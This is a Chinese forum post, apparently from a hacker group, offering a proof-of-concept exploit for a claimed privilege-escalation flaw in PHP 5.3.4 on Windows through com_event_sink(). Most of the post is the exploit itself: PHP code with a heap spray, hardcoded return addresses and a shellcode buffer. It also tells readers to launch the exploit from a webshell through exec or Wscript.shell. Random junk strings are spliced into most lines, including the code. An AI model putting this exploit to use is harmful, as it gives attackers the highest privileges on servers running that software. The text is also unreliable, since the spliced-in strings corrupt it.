|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中$ @4 w; {. r v. B' v D3 ~
9 K: p( r; |9 c! X* E8 h3 a4 E
测试方法如下:cmd /c x:\php\php.exe x:\test.php$ g5 ]7 ~, i. g( |3 F& B$ h
) [0 ?2 k& F3 K, `2 f下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php3 q+ F2 l9 Y" K! @3 c
这里是两个测试的截图:- F/ X/ a0 E4 G) e' L9 E
) U7 X d; a0 Z, S6 n
) r' Z& p/ f7 C: C5 u- g) Z: C' t
$ r0 ^4 U' T1 R* x3 f, d8 t! k: \
; O, c+ X5 `5 w1 B, ^1 \成功利用此漏洞的攻击者将获得系统的最高权限
, Y6 f: H1 p0 y7 w# l
6 V$ Z+ V7 Q% d6 q6 r4 ~0 u: A1 m) X
~( y6 g0 }' u8 J: X# j0 _
2 ~4 K6 Y" Y6 _/ T6 Z
) b6 z! f. O$ O" K关于漏洞分析稍后附上。一下是PoC代码:6 \& v2 R2 v4 Q; N) n
: d, U' | Q/ K$ t: F. _
<?php9 d* u6 g1 l* B7 a5 e
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞# g' _* X. t. d
//$eip ="\x44\x43\x42\x41";
3 n* d- { N, ~& G$ J/ r$eip= "\x4b\xe8\x57\x78";
. I7 H/ B0 t a+ E& [7 U: G0 z, o$eax ="\x80\x01\x8d\x04";
; a7 C8 ]. ]3 N$deodrant="";
H6 z7 z1 Q# L/ K: u" s" j$axespray = str_repeat($eip.$eax,0x80);# [. v0 @8 w. x' N" Y5 g; p q
//048d0190
6 j( u$ \& z# wecho strlen($axespray);
+ w1 S/ S, w% ?: s5 m o( z2 l6 Mecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
0 S8 W4 p, ?- ~5 ]% Qecho "Silic Group Hacker Army - BlackBap.Org"; S1 i" r0 D" P8 V! E8 L' F
//19200 ==4B32 4b00/ F z) \- B' u* c3 c; g
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}/ _9 S8 ~: I) J* {3 C
$terminate = "T";5 Z% Z; o6 u% X# g; t9 o4 x
$u[] =$deodrant;
: b1 h5 S4 b% N. P$r[] =$deodrant.$terminate;
2 ]- _# [2 e: H$a[] =$deodrant.$terminate; |% h U4 ]. A
$s[] =$deodrant.$terminate;
( P5 H3 H" H4 i- z% j. m; `7 n//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的9 T+ z9 x2 G. M. F2 I
$vVar = new VARIANT(0x048d0000+180);, {7 i7 ~- L( F% V* |8 ] |* [
//弹窗代码(Shellcode)4 B9 E- n# n0 ]6 B
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
6 R; R, ?& \ ?$var2 = new VARIANT(0x41414242);
) a. q% m2 P% ]3 L- g0 U8 lcom_event_sink($vVar,$var2,$buffer);
2 Y( b- a. \$ U?>) f5 ~. p) @) |4 |+ ?) J. c( H
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|